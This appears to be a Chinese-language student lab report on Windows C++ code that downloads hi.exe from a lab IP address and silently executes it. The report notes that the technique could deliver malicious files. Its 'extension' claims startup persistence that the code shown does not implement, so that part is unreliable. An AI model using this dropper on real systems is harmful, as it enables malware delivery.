工控安全系统编程之 下载并运行exe
一、实验要求
- 熟悉VC++编程环境
- 编程实现下载http://10.3.1.91/hi.exe到本地 ,并运行
二、源代码
#include <Windows.h>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
int main()
{
URLDownloadToFile(0, "http://10.3.1.91/hi.exe", "D:\\hi.exe", 0, 0);
WinExec("D:\\hi.exe", 0);
return 0;
}
三、程序运行
URLDownToFile函数从指定网址下载exe文件,WinExec函数执行下载下来的文件
四、总结
通过本次实验,我对C++的系统函数有了一定的认识,学会了urldownloadtofile函数下载资源和winexec函数执行程序,若把实验中的hi.exe写为恶意文件,则可以进行进一步的利用。
扩展:
实现下载文件到临时目录,然后移动文件到用户目录,设置该文件为开机启动.
#include <Windows.h>
#include <UrlMon.h>
#include <strsafe.h>
#pragma comment(lib, "urlmon.lib")
int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in LPSTR lpCmdLine, __in int nShowCmd )
{
CHAR szTempPath[MAX_PATH];
GetTempPath(ARRAYSIZE(szTempPath), szTempPath);
GetTempFileName(szTempPath, NULL, 0, szTempPath);
URLDownloadToFile(NULL, "http://10.3.1.91/hi.exe", szTempPath, 0, NULL);
WinExec(szTempPath, 0);
return 0;
}